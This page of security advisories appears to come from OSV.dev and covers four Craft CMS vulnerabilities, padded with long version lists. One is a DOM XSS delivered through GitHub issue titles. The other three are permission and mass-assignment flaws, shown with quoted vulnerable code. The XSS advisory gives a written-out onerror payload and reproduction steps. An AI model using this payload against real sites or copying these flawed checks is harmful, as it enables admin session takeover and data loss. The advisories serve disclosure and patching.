            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50281 GHSA-x5m4-g2cq-52pq Jul 02, 2026

Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements

High

Network Low Low None

Summary

There is a mass-assignment flaw in the bulk-duplicate element action. Alice, holding only the permission to duplicate an entry she owns, submits an arbitrary id through the newAttributes request parameter. The duplication routine overrides its own id = null reset with that value and writes Alice’s attributes into Bob’s existing entry row.

Details

ElementsController::beforeAction() (src/controllers/ElementsController.php:119-124) pulls the request body into $this->_attributes and rejects requests that ship an id or canonicalId key at the top level:

$this->_attributes = $this->request->getBodyParams();

// No funny business
if (isset($this->_attributes['id']) || isset($this->_attributes['canonicalId'])) {
    throw new BadRequestHttpException('Changing an element’s ID is not allowed.');
}

The check inspects only the top-level payload. actionBulkDuplicate() (src/controllers/ElementsController.php:1708-1749) reads a separate newAttributes array and passes it straight through to the service layer:

$elementInfo = $this->request->getRequiredBodyParam('elements');
$newAttributes = $this->request->getRequiredBodyParam('newAttributes');
...
$safeNewAttributes = Collection::make($newAttributes)
    ->only($element->safeAttributes())
    ->all();
...
$newElement = $elementsService->duplicateElement(
    $element,
    $safeNewAttributes + $element::baseBulkDuplicateAttributes(),
    false,
    checkAuthorization: true,
);

Elements::duplicateElement() (src/services/Elements.php:1814-1840) clones the source element, sets id to null, and then hands the attacker's array to Craft::configure():

$mainClone = clone $element;
$mainClone->id = null;
$mainClone->uid = StringHelper::UUID();
...
Craft::configure($mainClone, ArrayHelper::merge(
    $newAttributes,
    $siteAttributes[$mainClone->siteId] ?? [],
));

Craft::configure() overwrites the reset id with any numeric value inside $newAttributes. Yii's saveElement() then performs an UPDATE against the row with that primary key instead of an INSERT. Alice's title, slug, authorId, postDate, and UID land on Bob’s entry.

safeAttributes() on Entry includes id because the base element model exposes it, so the Collection::only() filter does not strip it.

Impact

A low-privileged author overwrites any other element (entries, categories, users that share the Entry element table inheritance) by predicting or enumerating element IDs. Content integrity on the entire install breaks. The attack requires only the ability to duplicate one entry Alice already owns.

Affected versions


          5.7.0


          5.7.1


          5.7.1.1


          5.7.10


          5.7.11


          5.7.2


          5.7.3


          5.7.4


          5.7.5


          5.7.6


          5.7.7


          5.7.8

+ 52 more


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


